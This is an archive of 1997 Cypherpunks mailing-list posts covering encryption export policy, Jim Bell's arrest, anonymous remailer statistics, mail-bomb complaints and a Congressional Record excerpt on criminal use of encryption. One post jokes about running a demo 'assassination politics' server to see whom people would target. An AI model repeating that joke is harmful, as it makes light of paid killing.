> "http://this/is/a/bogus/referrer/sent/to/mess/up/your/stats"?
> How about sending the current URL as Referrer?

One practical idea would be to set up the config file so that whenever
URL X is referenced, specified URL Y is sent as the referer.  This could
be useful for accessing web sites which won't show you information unless
(or if) they see a certain value in the referer field.

Hal






From ichudov at algebra.com  Sun May 18 22:51:19 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 13:51:19 +0800
Subject: Sun Sells Encryption Software Overseas, Skirting U.S. Policy
Message-ID: <199705190536.AAA13148@manifold.algebra.com>


Tomorrow's Wall Street Journal: 

http://interactive3.wsj.com/edition/current/articles/SB863997652645676500.htm

Sun Sells Encryption Software
           Overseas, Skirting U.S. Policy

           By DAVID BANK 
           Staff Reporter of THE WALL STREET JOURNAL

           MOUNTAIN VIEW, Calif. -- Sun
           Microsystems Inc. plans to sell advanced
           data-security software from a Russian
           supplier to overseas customers, a move that
           skirts U.S. export regulations and is likely to
           receive close U.S. government scrutiny.

           Sun is expected to announce Monday that it
           will sell encryption software licensed from
           Elvis+ Co., a company formed by scientists
           from the former Soviet space program. Sun

I actually think that Elvis+ is mostly composed of the former KGB 
scientists, not space scientists. I may be mistaken though. -- igor



           has a 10% equity stake in the Russian firm.
           The Elvis+ products will be shipped to
           overseas customers from Sun distributors in
           third countries to keep them from falling
           under U.S. jurisdiction.

           Sun's move illustrates how global market
           pressures are making it increasingly difficult
           for U.S. officials to control the spread of
           advanced encryption hardware and software.
           The technology, which scrambles data to
           protect it from computer eavesdroppers, is
           considered vital to the growth of electronic
           commerce. But export of powerful encryption
           products is barred under U.S. export-control
           laws, on grounds that terrorists and others
           will use it to evade surveillance.

           Challenge to U.S. Policy

           The Sun action will cause the Clinton
           administration to face a difficult decision, said
           Jim Bidzos, president and chief executive of
           RSA Data Security Inc., a unit of Cambridge,
           Mass.-based Security Dynamics Technologies
           Inc., a major supplier of encryption
           technology. "The government has to shut this
           down, or else the competitors of Sun probably
           have to say, 'We're going to do the same
           thing,' " he said. Mr. Bidzos, a long-time
           critic of the export controls, praised Sun's
           move as "blatant and in-your-face."

           An administration official said Sunday the
           White House didn't have enough information
           to comment.

           Computer-industry executives, concerned
           that they could lose a valuable market to
           foreign competition, have long discussed
           strategies to exploit loopholes in the export
           laws. But Sun appears to be the first major
           company to use foreign software to supply
           overseas customers. Sun executives said they
           hadn't discussed the plans with U.S.
           government officials but had strictly adhered
           to current laws.

           "This is not being done to subvert
           export-control laws but to deliver solutions to
           customers," said Humphrey Polanen, general
           manager of Sun's network-security products
           group. "Never before have organizations
           outside of the United States had access to
           such advanced security software."

           Privacy advocates said Sun's initiative would
           boost their goal of making high-strength
           encryption widely available. "We think the
           benefit for security outweighs the liability for
           law enforcement," said Jerry Berman,
           executive director of the Center for
           Democracy and Technology in Washington,
           D.C.

           Critical Distinction

           Elvis+ is based in Zelenograd, a Moscow
           suburb that was once known as the "Soviet
           Silicon Valley." The company's products are
           based on a security protocol called SKIP that
           was developed by Sun, but Sun says it
           provided no technical assistance to the
           Russian company. The distinction is crucial;
           the export controls cover any product
           developed with such assistance from a U.S.
           company.

           The product, which will be marketed under
           the name SunScreen SKIP E, employs various
           encryption algorithms, or formulas, including
           so-called three-key triple DES and 128-bit
           ciphers, which security experts consider to be
           virtually unbreakable. The algorithms, in wide
           use within the U.S., are used to scramble
           digital communications; in general, the longer
           the bit length of the encryption key, the more
           difficult the code is to break.

           Current export controls allow the export of
           cryptography keys up to 40 bits, which have
           been cracked by computer hackers in as little
           as 10 minutes. Companies with special
           approval from the Commerce Department
           have recently begun exporting 56-bit
           encryption software, but customers have been
           clamoring for much stronger keys.

           Global Competition

           The restriction on U.S. exports has opened
           market opportunities for strong encryption
           products from foreign competitors, including
           Germany's Brokat Informationssysteme
           GmbH and Siemens Nixdorf
           Informationssysteme AG, a unit of Siemens
           AG.

           "Sun's announcement is further evidence that
           current U.S. policy is forcing companies to
           look overseas to obtain strong encryption,"
           said Edward Black, president of the Computer
           and Communications Industry Association, a
           Washington D.C., trade group that is lobbying
           for relaxation of the export controls.

           Last year, RSA Data Security announced
           plans to fund an effort by Chinese
           government scientists to develop strong
           encryption technology, but the effort has
           stalled, Mr. Bidzos said. RSA now sends
           legally exportable products to its Japanese
           subsidiary, RSA Japan, for bundling with
           Japanese encryption software. "I can't just let
           this world-wide global electronic-commerce
           market take off without participating," Mr.
           Bidzos said.

           Sun's Mr. Polanen said SunScreen SKIP E+
           will work with other products based on the
           SKIP protocols. A commercial version will be
           available in August; evaluation copies are
           available for download from an Elvis+ site on
           the World Wide Web. The software will be
           priced at $99 for versions that run on
           Microsoft Corp.'s Windows 3.1 and Windows
           95 operating systems and at $149 for the
           Windows NT version.






From alan at ctrl-alt-del.com  Sun May 18 22:53:38 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Mon, 19 May 1997 13:53:38 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.2.32.19970518211245.00ac1200@mail.teleport.com>
Message-ID: <3.0.2.32.19970518222857.00b026c0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:50 PM 5/18/97 -0800, Tim May wrote:

>If the government narcs in Portland are damning Bell for playing around
>with the work done on this area, even including obtaining carbon fibers,
>this'll be thrown out (I predict).

Depends on who is trying the case.  Judging where the article in the paper
was 
at, and the lack of other media coverage, I expect them to make a quiet 
example of him.  (i.e. punish him in a way that the people interested in the 
case feel threatened but does not give the rest of the sheep any ideas.)

>"Plans to destroy the Net thwarted!" is the headline they want to see.

I don't think so.  I am amazed they have not mentioned the guns that were 
seized.  I am willing to be this is the first salvo in a very quiet and very 
dirty little war.

Maybe we should start an anonymous betting pool as to which one of us will be 
the next to be arrested.

>>The IRS seems to have overstepped a little in this case...  The sealed
>>warrents are an attempt to keep it from being examined in more detail.
>>
>
>If the "cyber-journalists" who write puff pieces on how great SAFE is are
>out there, they ought to be giving this front page coverage.

Where is Declan when you need him? :>

>(Wouldn't a better use of AP be to target AP, so to speak?)

I was very tempted to set up a demo AP server just to see what kind of
targets 
people would select.  (I do not believe that most people would select 
government employees.)  The slogan "Who do you want to kill today" has such a 
nice ring to it...  In order for such a system (or anarchy in general) to 
work, the general public has to be more aware of the type of state they live 
in.  With all of the "Bread and Circuses" that people are being subjected to, 
little wonder they are going along with the show.  (There are also a number
of 
psychological studies that show that people will do all sorts of horrific 
things to their fellow man when someone in authority tells them to.  If they 
are led to believe that they are "bad" in some way, many will enjoy it.)


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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From blancw at cnw.com  Mon May 19 00:04:51 1997
From: blancw at cnw.com (Blanc)
Date: Mon, 19 May 1997 15:04:51 +0800
Subject: Nature of Anarchy/ Anarchy of Nature
Message-ID: <3.0.32.19970518233507.006f3e4c@cnw.com>


Steve Schear wrote:

>Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
>of a planned economy and how the loss of property ownership and economic
>freedom leads directly and inevitably to totalitarianism.
............................................................


Or my favorite of all time:  "Human Action" by Ludwig von Mises.   It's a
large book - it could keep a collectivist New Age philosopher busy for
hours.    But even just reading the first few chapters would be sufficient
to provide some usefully deep ideas to explain fundamental things about
economic truths, of the kind which many cpunks are already in agreement with.

    ..
Blanc
    ..
Blanc






From stewarts at ix.netcom.com  Mon May 19 00:25:52 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 19 May 1997 15:25:52 +0800
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: 
Message-ID: <3.0.1.32.19970519000346.00743730@popd.ix.netcom.com>


At 07:26 PM 5/18/97 -0800, Tim May wrote:
>As I explain in my message to Steve Schear, I have no way of
>removing such "mail bombs" with my Eudora/POP system until they 
>have been downloaded to my machine (I don't have a shell account anymore).

Eudora does have a "Only download messages less than ___K" option
that can reduce this problem; I don't know if there's also
a way to delete the message from Eudora without downloading it.
Netscape Mail has similar options.

The old Netcom Netcruiser mail client software let you download
just the headers and then pick what messages to read ; I don't know
if the new NetComplete stuff does that or not.  Netcruiser was ugly
and somewhat broken, but occasionally did useful things.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From shamrock at netcom.com  Mon May 19 00:27:09 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 19 May 1997 15:27:09 +0800
Subject: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>


At 09:12 PM 5/18/97 -0700, Alan Olsen wrote:

>It is interesting that they have kept the warrent sealed.  This, more than 
>anything makes me question the legitamacy of the whole affair.  Sounds like 
>the IRS is planning a preemptive strike on the Common Law Courts and the 
>people behind them.

There are two reasons I can think of immediately why the feds would keep
the warrant sealed. The first is that they don't want to reveal just how
little evidence they have. The second reason is that the warrant might give
some clue as to future actions/other suspects. Remember that the IRS agent
found the AP essay by means of an Internet search engine. That almost
certainly means he is following the discussions about Jim Bell on the Net.
Such as the discussion on Cypherpunks.

It must be truly frightening to this person to read some of the threads on
this list. Nerve gas, C4, race-specific biological weapons, bypassing
airport security systems, not to mention money laundering and tax evasion,
what hasn't been discussed here?

The feds may not be aware that the discussions on this list are usually of
a theoretical nature. Perhaps they decided to go after the
"co-conspirators". Like the anarchists in California with their AR-15's who
have so many mags that they can't even  remember where they all are. :-)

The fact that Jim is held _without bail_ would indicate to me that there is
more going on than might meet the eye.





-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From shamrock at netcom.com  Mon May 19 00:28:02 1997
From: shamrock at netcom.com (Lucky Green)
Date: Mon, 19 May 1997 15:28:02 +0800
Subject: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>


At 10:28 PM 5/18/97 -0700, Alan Olsen wrote:
>(There are also a number
>of 
>psychological studies that show that people will do all sorts of horrific 
>things to their fellow man when someone in authority tells them to.  If they 
>are led to believe that they are "bad" in some way, many will enjoy it.)

Right. I read a book on that. I think it was called "The Millgram
Experiment". Normal people would administer (fake, but they didn't know it)
electroshocks to a subject even after the subject had stopped moving and
could have been assumed to be unconscious or even dead. An excellent
demonstration of the power of authority. And the gullibility of the average
person.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From kent at songbird.com  Mon May 19 00:43:32 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 19 May 1997 15:43:32 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <19970519002811.31774@bywater.songbird.com>


On Mon, May 19, 1997 at 12:14:37AM -0700, Lucky Green wrote:
> At 10:28 PM 5/18/97 -0700, Alan Olsen wrote:
> >(There are also a number
> >of 
> >psychological studies that show that people will do all sorts of horrific 
> >things to their fellow man when someone in authority tells them to.  If they 
> >are led to believe that they are "bad" in some way, many will enjoy it.)
> 
> Right. I read a book on that. I think it was called "The Millgram
> Experiment". Normal people would administer (fake, but they didn't know it)
> electroshocks to a subject even after the subject had stopped moving and
> could have been assumed to be unconscious or even dead. An excellent
> demonstration of the power of authority. And the gullibility of the average
> person.

Present company excepted?  Of course, studies have shown a majority 
of Americans think they are better than average drivers...

The most important lesson of that study is that in this regard we
*all* are average persons.  There isn't any magic pill, or personality
trait, or belief system, or special knowledge, that makes us immune to
manipulation. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From blancw at cnw.com  Mon May 19 01:08:20 1997
From: blancw at cnw.com (Blanc)
Date: Mon, 19 May 1997 16:08:20 +0800
Subject: Just Say "No" to Congress
Message-ID: <3.0.32.19970519010058.00685bdc@cnw.com>


Vladimir Z. Nuri,  blowing smoke out his ears, wrote:

>the question is not "how do we hold the government accountable for
>our cash" but, "*when* will we"?
	[and]
>anyone who disbelieves in the authority of the US government
>yet sends them their tax money is a hypocrite.
..........................................................................


The first sentence implies that Nurilogical proposes that government should
be held accountable by its citizens, including himself ("*when* will we").

On the other hand, he obviously believes in the authority of the US
government, as he has always supported it in arguments on the list,
especially in counter arguments against TCM.

So, it appears that VZN is not *ready* to hold the government accountable,
preferring not to protest when his own money is withheld for him, but
hypocritically wondering when everyone will make this will happen.

However, he's correct:   similar to the argument I made about there being
no difference between those who kill the good along with the bad & the ugly
(that's from the title of a Clint Eastwood movie, for those who aren't
familiar with that line),  all those who argue for morality and libertarian
ideals, but still "give in" when it comes to tax time, are all losers.     

But this shameless capitulation is intellectualized away with the
explanation that everyone is outnumbered by the men holding the legalized
guns, who are in turn supported by all those true believers in The American
Socialist Way of Life;  that way being: the reception of benefits without
any need to be consciously aware of, to identify, their actual source or
the actual method of their obtainment.
    ..
Blanc
    ..
Blanc






From blancw at cnw.com  Mon May 19 01:14:10 1997
From: blancw at cnw.com (Blanc)
Date: Mon, 19 May 1997 16:14:10 +0800
Subject: I Treat All My Enemies Equally
Message-ID: <3.0.32.19970519001748.006fa8c4@cnw.com>


TruthMonger wrote:

>  Blanc makes some excellent points about the average citizen being
>caught in a ping-pong crossfire in the conflict between government
>and anti-government forces. However, as I said, this is in the nature
>of conflict and the citizen's best option may be to make a daily 
>effort to resist the government oppression, no matter how small it
>may seem in any instance.
.....................................................


Appreciate all the kudos, TruthMongrel. 

The problem that I was talking about is that of not being able to
distinguish one's enemies from one's friends because they all act alike and
therefore being in a position of danger from either of them.   In that
case, it doesn't matter which philosophy (political, economic, etc.) one
should support; the immediate fact of the matter is physical - physical
safety from all those Cowboys & Indians trying to get rid of each other
regardless of the reasons or the purpose.

In that case they are not advancing the kind of philosophical cause which
supports superior values and which results in better circumstances.   They
are not "separating the wheat from the shaf", they are not being
descriminating about what should live and what should die, they are not
allowing innocent bystanders to make a decision about which side they're on
or what risks they are willing to take in the "war" which they may not
realize is happening.

In that case, the real end of a "terrorist" action is personal and has
little to do with a preferable way of life for humans, or grievances
against an unjust oppressor.   When two "opposed" groups are willing to
stick it you  without concern, there is no difference between them.
Because, what difference does it make?
    ..
Blanc
    ..
Blanc






From gbroiles at netbox.com  Mon May 19 01:59:00 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Mon, 19 May 1997 16:59:00 +0800
Subject: New rules re money transfers to foreign locations
Message-ID: <3.0.1.32.19970519014545.008a2c30@mail.io.com>



The NY Times reports that new rules will be announced Monday which will
require non-bank financial institutions (like check-cashing stores, Western
Union, etc.) to report transfers of $750 or greater with a foreign
destination. (The old reporting threshold was $10K.) According to the
article, the new regulation is expected to generate approximately one
million additional forms per year for FINCEN/Treasury to process, and
require 25,000 such NBFI's to register with Treasury. The regulation will
take effect in 90 days after a public comment period. It does not apply to
cash, instruments like traveler's checks, or domestic transfers; it also
does not apply to banks themselves. (All of those mediums of transport are
covered by different rules with other reporting requirements.) 

See .
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From whgiii at amaranth.com  Mon May 19 02:05:58 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 19 May 1997 17:05:58 +0800
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meetings
In-Reply-To: 
Message-ID: <199705190850.DAA23642@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/18/97 at 11:02 PM,
   Tim May  said:


>(I seriously suggest we stop holding _physical_ Cypherpunks meetings for
>the foreseeable future. A gathering of anarchists, crypto exporters, and
>information terrorists like ourselves is too tempting a target for a
>publicized raid, with cameras rolling, to show the threat of the Four
>Horsemen of the Infocalypse. I for one don't plan to attend any physical
>meetings for a while at least. Going armed to a Cypherpunks meeting in
>preparation for a raid is not a cool thing.)

I was thinking that we could start holding the Cypherpunks meetings
outdoors in the "hills" rather than coffee shops. Bring the pickup truck,
hunting dogs, shotguns and rifles. :)

Ofcource we might get mistaken for an "evil" militia group. :))))

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you make Windows faster?  Throw it harder!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4AiyY9Co1n+aLhhAQGWWQQAuvmFjeoSSUeC4tvK1pdTbcN152Wni4GC
c2+3/31RD6OjkXRKkmzbm/k/KRhUAEXQLIXBEaomxXFbjr+xLC1QqZVbUq0uNjzs
fbygQYuNWIWxjQRfdz0EFHcHBxk1A+mgyzV26cZze1kcFk8bQuha+ZznOTKsl3Ha
tZGp43pD3kc=
=hGvJ
-----END PGP SIGNATURE-----






From gbroiles at c2.net  Mon May 19 02:55:13 1997
From: gbroiles at c2.net (Greg Broiles)
Date: Mon, 19 May 1997 17:55:13 +0800
Subject: Crypto use to foil law enforcement?
Message-ID: <3.0.1.32.19970519023657.00834370@gabber.c2.net>


I ran across this entry in the Congressional Record which discusses several
examples where encryption was discovered in the course of a law enforcement
investigation. 

[Congressional Record: September 18, 1996 (Senate)][Page S10882-S10886]

[...]

Mr. GRASSLEY. Mr. President, I'm pleased that the Senate has passed 
the eonomic espionage bill. This is an important measure that I believe 
will save American business significant amounts of money. The theft of 
confidential information from American businesses is a serious problem, 
and this bill takes important steps in the right direction.
  I am particularly pleased that the Senate has accepted the amendment 
I offered with Senator Kyl. This amendment commissions the first-ever 
study on the criminal misuse of encryption technologies. Under the 
Grassley-Kyl amendment, court officers who prepare pre-sentencing 
reports will include information on the use of encryption to conceal 
criminal conduct, obstruct investigations, and commit crimes. The 
sentencing commission will then collect and collate this information 
and include it in its annual report to congress.
  In this way, I am hopeful that Congress and executive branch will 
have reliable data on whether the criminal misuse of encryption is 
actually a problem and, if so, what response to this problem would be 
appropriate.
  As chairman of the Oversight Subcommittee on the Judiciary Committee, 
I did an informal survey of state-level law enforcement concerning the 
criminal misuse of encryption. This informal survey, while not 
scientific, provides valuable insights into the actions of the criminal 
element in our society.
  Here are just some of the responses my subcommittee received.
  In one case involving John Lucich of the New Jersey attorney 
general's office was involved, a computer was seized pursuant to a 
warrant in a serious assault case. Examination revealed that 
approximately 20 percent of the hard drive files were encrypted. 
Investigators sought the assistance of two different Federal agencies. 
Both of these agencies were unsuccessful in decrypting the files. 
Finally, a third Federal agency was successful in decrypting the files 
after expending considerable resources. The Decrypted files did not 
contain evidence of the assault but rather contained evidence of child 
pornography. The encryption type likely used was ``DES.''
  And Officer Tim O'Neill of the Roseville, California Police 
Department reported to the subcommittee that he participated in a 
search involving a complaint against a subject who was on probation for 
solicitation/annoyance of minors. The subject had a hidden encrypted 
file on his personal computer. In the ``slack'' area at the end of the 
file the officer found names, addresses, school, grade, and phone 
numbers of 4-5 young teen girls. The encryption type used was known as 
``pincrypt.''
  Officer Mike Menz of the same department advised the subcommittee 
that he was working on a joint State/Federal major check fraud case 
where part of the potential evidence was encrypted.
  Ivan Ortman, a senior prosecutor in Seattle, Washington, encountered 
some encrypted files and password protection in a cellular phone fraud 
investigation. For a number of files the popular and inexpensive 
``PGP'' type of encryption was used. Orton indicated that no effort was 
even made to examine the files as the police could not locate any 
method for ``cracking that encryption.''
  In other words, why try since such an effort is certain to be futile. 
Surely a rational society should look long and hard at this situation.
  Agent Chuck Davis of the Colorado Bureau of Investigation reported to 
the subcommittee that he has encountered encryption as well as password 
protection problems. In one embezzlement case, a computer system has 
seized. Examination revealed that files on the hard disk were 
encrypted. The software manufacturers were contacted and the technical 
personnel who wrote the program advised that, ``they had left no `back 
door' access to the product as this would adversely impact sales. The 
hallmark of the program's appeal is that it cannot be broken, even by 
those who created it.'' Agent Davis advised that his investigation was 
``halted'' due to the time and expense of a ``brute force attack''. The 
encryption program used was entitled ``watchdog.''
  Agent Davis also advised the subcommittee that password protection 
also presents problems for other types of investigators. In cases 
involving theft of drugs from an emergency room by a doctor, bribery/
extortion by a police officer, and the suicide by an 11 year-old boy 
after telling friends that he had been molested by a family friend, 
investigators encountered password protection. The first two cases were 
successfully resolved through assistance from the manufacturer of the
software.
  The third case, however, especially illustrates the seriousness of 
decryption problems--determining the unique key or in this case, 
password from a large number of possibilities. According to Agent 
Davis, a mere 4 character password has 1.9 million possibilities due to 
the number of keyboard characters. Can you imagine how difficult it 
must be to figure a short, 4 character password. What if the password 
were 10 characters or 20 or more? It's easy to see why criminals are 
moving toward password protection for their records.

--
Greg Broiles
gbroiles at c2.net
510-986-8779 voice
510-986-8777 fax






From dlv at bwalk.dm.com  Mon May 19 06:12:05 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 19 May 1997 21:12:05 +0800
Subject: Jim Bell goes to Jail--We should avoid raidable, physical meeting
In-Reply-To: 
Message-ID: <6g9X7D38w165w@bwalk.dm.com>


Tim May  writes:
> (Also, I suggest _physical_ Cypherpunks meetings not be held for the
> foreseeable future. I know I plan to skip them all. A gathering of "reputed
> information terrorists, who have openly discussed assassination markets, C4
> explosives, and the destabilization of democratic governments" would be too
> ripe a target for clowns like Reno, Freeh, and Kallstrom.)

The physical meetings I've been to were not worth the trip.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon May 19 06:17:33 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 19 May 1997 21:17:33 +0800
Subject: Mail bombs from "helpful" Cypherpunks
In-Reply-To: 
Message-ID: 


Tim May  writes:

> (I was locked out of getting my mail tonight for more than an hour, when a
> member of the Cypherpunks list _mailed_ me a several-megabyte file without
> asking first. As I explain in my message to Steve Schear, I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine (I don't have a shell account anymore). I suppose
> by admitting this I am opening myself to being mailbombed by Dmitri V.,
> Vladimir N, and my other Russian (or ersatz Russian) enemies.)

Idiot - why would I want to do that?

Idiot - tell your POP client not to download files > certain size.

Idiot - get your shell account back.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From raph at CS.Berkeley.EDU  Mon May 19 07:08:51 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 19 May 1997 22:08:51 +0800
Subject: List of reliable remailers
Message-ID: <199705191350.GAA07200@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = " cpunk pgp special";
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = " cpunk pgp hash latent cut ek";
$remailer{"haystack"} = " cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = ' alpha pgp';
$remailer{"dustbin"} = " cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = " cpunk pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 19 May 97 6:49:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config at nym.alias.net             ******+*++#*     4:09  99.98%
squirrel mix at squirrel.owl.de              ++-+++-+---   2:11:39  99.87%
weasel   config at weasel.owl.de             ++-+-+-+---   2:13:33  99.86%
winsock  winsock at rigel.cyberpass.net      ---.-+.----   5:30:41  99.83%
jam      remailer at cypherpunks.ca          ******** *+*    13:32  99.63%
lucifer  lucifer at dhp.com                  +++.- ++*+++  1:14:45  99.62%
cyber    alias at alias.cyberpass.net         * *+**+****    14:21  99.49%
balls    remailer at huge.cajones.com        #####*## #++     5:06  99.06%
mix      mixmaster at remail.obscura.com     __ __ .--*-* 34:59:29  98.54%
replay   remailer at replay.com              **     **.-+  2:26:52  98.42%
reno     middleman at cyberpass.net           +-.-+-+ -+   2:17:53  95.56%
hidden   remailer at hidden.net              ##..-####*    2:30:26  93.35%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From wmalik at sdnpk.undp.org  Mon May 19 08:00:58 1997
From: wmalik at sdnpk.undp.org (Wasim Q. Malik)
Date: Mon, 19 May 1997 23:00:58 +0800
Subject: Need some info...
Message-ID: 


Hi.

I'm gonna give a talk on the subject of hacking/security soon. Need your
help with it.

Things that I'm gonna include are: 
	what is hacking, 
	ethics of hacking,
	psychlogy of hacking, 
	other abstracts. 

	Some technical stuff, such as hacking tools and tactics, including
		IP spoofing,
		packet sniffing,
		cracker programs, 
		keyloggers, 
		progs like satan, etc.


Can you suggest some additional stuff to be included, or if you have any
resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
to any of the above topics, technical or whatever, please please do send
it over. 

Your suggestions will be a great help, as well as any info.

Thanks.



Wasim Q. Malik
Network Security Expert
SDNP Pakistan






From geeman at best.com  Mon May 19 08:03:09 1997
From: geeman at best.com (geeman)
Date: Mon, 19 May 1997 23:03:09 +0800
Subject: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.32.19970519074003.006affb0@best.com>


and if they encrypted or eliminated the feature that logs all my
pgp-encrypted traffic.

At 11:39 AM 5/17/97 -0700, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks 
>interesting.  Nice if the rest would run...
>
>-----BEGIN PGP SIGNATURE-----
>Version: 5.0 beta
>Charset: noconv
>
>iQEUAwUBM337SeQCP3v30CeZAQHrIwf3bwkNKXwDPb5R2qLMneIIWBTfYvwAGCQ6
>8xqd0BHSsD+7ZzF4u9iVZWV9sHN/62LxAo886FfDP7PtKG+JZrZCa+KOUj2Zw3qk
